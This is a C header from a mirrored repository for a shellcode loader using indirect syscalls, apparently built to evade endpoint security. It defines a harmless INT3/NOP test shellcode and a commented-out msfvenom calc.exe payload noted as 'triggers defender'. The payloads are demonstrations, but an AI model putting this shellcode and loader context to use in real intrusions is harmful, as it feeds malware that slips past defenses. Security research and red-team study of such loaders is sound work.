mirror of
https://github.com/srothlisberger6361/ShellCodeLoader_Indirect_Syscalls
synced 2026-06-06 16:44:34 +00:00
0xcf80
50 lines
2.5 KiB
C
50 lines
2.5 KiB
C
#pragma once
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// https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583
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// introduced MOV EDI, EDI just to make the shellcode more distinguashalble from NOP only
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// \w this shellcode, VisualStudio should throw an error as "A breakpoint instruction (__debugbreak() statement or a similar call) was executed in ShellcodeLoader.exe." when debugging
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// In the Disassembly window, click "View" to check that the shellcode has been copied correctly. It should look similar to the following:
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// 000001C029970000 int 3
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// 000001C029970001 nop
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// 000001C029970002 mov edi, edi
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// 000001C029970004 nop
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// 000001C029970005 mov edi, edi
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// 000001C029970007 int 3
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// 000001C029970008 int 3
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// 000001C029970009 int 3
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// 000001C02997000A int 3
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const char shellcode_int3[] = {
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0xcc, // INT3
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0x90, // NOP
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0x8b, 0xff, // MOV EDI, EDI
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0x90, // NOP
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0x8b, 0xff, // MOV EDI, EDI
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0xcc, // INT3
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0xcc, // INT3
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0xcc, // INT3
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0xcc // INT3
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};
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// msfvenom (triggers defender)
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/*unsigned char shellcode_calc[] = {
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0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,
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0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,
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0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
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0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,
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0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,
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0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,
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0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,
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0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
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0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
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0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,
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0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,
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0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
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0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,
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0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,
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0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
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0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
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0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,
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0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,
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0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,
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0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };*/
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